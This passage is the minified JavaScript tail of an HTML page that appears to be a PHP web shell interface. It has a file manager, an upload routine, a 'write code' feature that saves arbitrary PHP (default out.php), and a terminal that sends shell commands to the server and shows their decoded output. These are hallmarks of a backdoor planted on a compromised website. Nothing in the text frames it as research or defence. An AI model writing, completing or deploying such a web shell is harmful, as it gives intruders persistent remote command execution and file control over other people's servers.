XMLHttpRequest();xhr.open('PUT',location.pathname+'?t=put&f='+btoa(saveas),true);xhr.setRequestHeader('Content-Type','application/octet-stream');xhr.onload=function(){try{var r=JSON.parse(xhr.responseText);msg.innerHTML='<div class="msg ok">āœ… '+r.file+' ('+r.size+' bytes)</div>';refresh()}catch(e){msg.innerHTML='<div class="msg err">āŒ '+xhr.responseText.substring(0,200)+'</div>'}};xhr.onerror=function(){msg.innerHTML='<div class="msg err">āŒ Network error</div>'};xhr.send(file);return}}
function writeCode(){var code=document.getElementById('w_code').value,saveas=document.getElementById('w_saveas').value.trim()||'out.php';if(!code){alert('Enter code');return}if(saveas.indexOf('/')===-1)saveas=cwd+'/'+saveas;document.getElementById('w_msg').innerHTML='<div class="msg ok">Writing...</div>';api({t:'s',p:saveas,d:code},function(r){document.getElementById('w_msg').innerHTML='<div class="msg '+(r.status==='ok'?'ok':'err')+'">'+(r.msg||'Error')+'</div>';refresh()})}
function runCmd(){var cmd=document.getElementById('term-cmd').value.trim();if(!cmd)return;var out=document.getElementById('term-output');out.innerText+='\n$ '+cmd+'\nā³ Running...\n';out.scrollTop=out.scrollHeight;document.getElementById('term-cmd').value='';api({t:'x',p:cwd,d:cmd},function(r){var text=out.innerText.replace('ā³ Running...\n','');out.innerText=text+(r.output?b64d(r.output):'(no output)')+'\n';out.scrollTop=out.scrollHeight})}
function quickCmd(cmd){document.getElementById('term-cmd').value=cmd;runCmd()}
window.onload=function(){document.getElementById('btn-go').addEventListener('click',function(){navigateTo(document.getElementById('pathbar').value)});document.getElementById('btn-up').addEventListener('click',function(){navigateTo(parentDir())});document.getElementById('btn-refresh').addEventListener('click',refresh);document.getElementById('btn-mkdir').addEventListener('click',function(){openModal('mkdir')});document.getElementById('btn-newfile').addEventListener('click',function(){openModal('newfile')});document.getElementById('btn-upload').addEventListener('click',function(){showTab('upload')});document.getElementById('pathbar').addEventListener('keydown',function(e){if(e.key==='Enter')navigateTo(this.value)});document.querySelectorAll('[data-tab]').forEach(function(el){el.addEventListener('click',function(){showTab(this.getAttribute('data-tab'))})});document.querySelectorAll('th[data-sort]').forEach(function(el){el.addEventListener('click',function(){sortBy(this.getAttribute('data-sort'))})});document.querySelectorAll('#ctxmenu [data-action]').forEach(function(el){el.addEventListener('click',function(e){e.stopPropagation();ctxAction(this.getAttribute('data-action'))})});document.getElementById('modal-ok').addEventListener('click',modalOk);document.getElementById('modal-cancel').addEventListener('click',closeModal);document.getElementById('btn-runcmd').addEventListener('click',runCmd);document.getElementById('btn-clearcmd').addEventListener('click',function(){document.getElementById('term-output').innerText='$ _'});document.getElementById('term-cmd').addEventListener('keydown',function(e){if(e.key==='Enter')runCmd()});document.querySelectorAll('[data-cmd]').forEach(function(el){el.addEventListener('click',function(){quickCmd(this.getAttribute('data-cmd'))})});document.getElementById('btn-writecode').addEventListener('click',writeCode);document.getElementById('editor-area').addEventListener('keydown',function(e){if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,end=this.selectionEnd;this.value=this.value.substring(0,s)+'    '+this.value.substring(end);this.selectionStart=this.selectionEnd=s+4}if(e.ctrlKey&&e.key==='s'){e.preventDefault();saveFile()}});document.addEventListener('keydown',function(e){var mv=document.getElementById('modal-bg').style.display==='flex';if(mv&&e.key==='Enter')modalOk();if(mv&&e.key==='Escape')closeModal()});document.addEventListener('click',function(e){if(!e.target.closest('#ctxmenu'))hideCtx()});document.getElementById('u_method').addEventListener('change',onMethodChange);document.getElementById('btn-upload-go')&&document.getElementById('btn-upload-go').addEventListener('click',startUpload);navigateTo(cwd);onMethodChange()};
</script></body></html>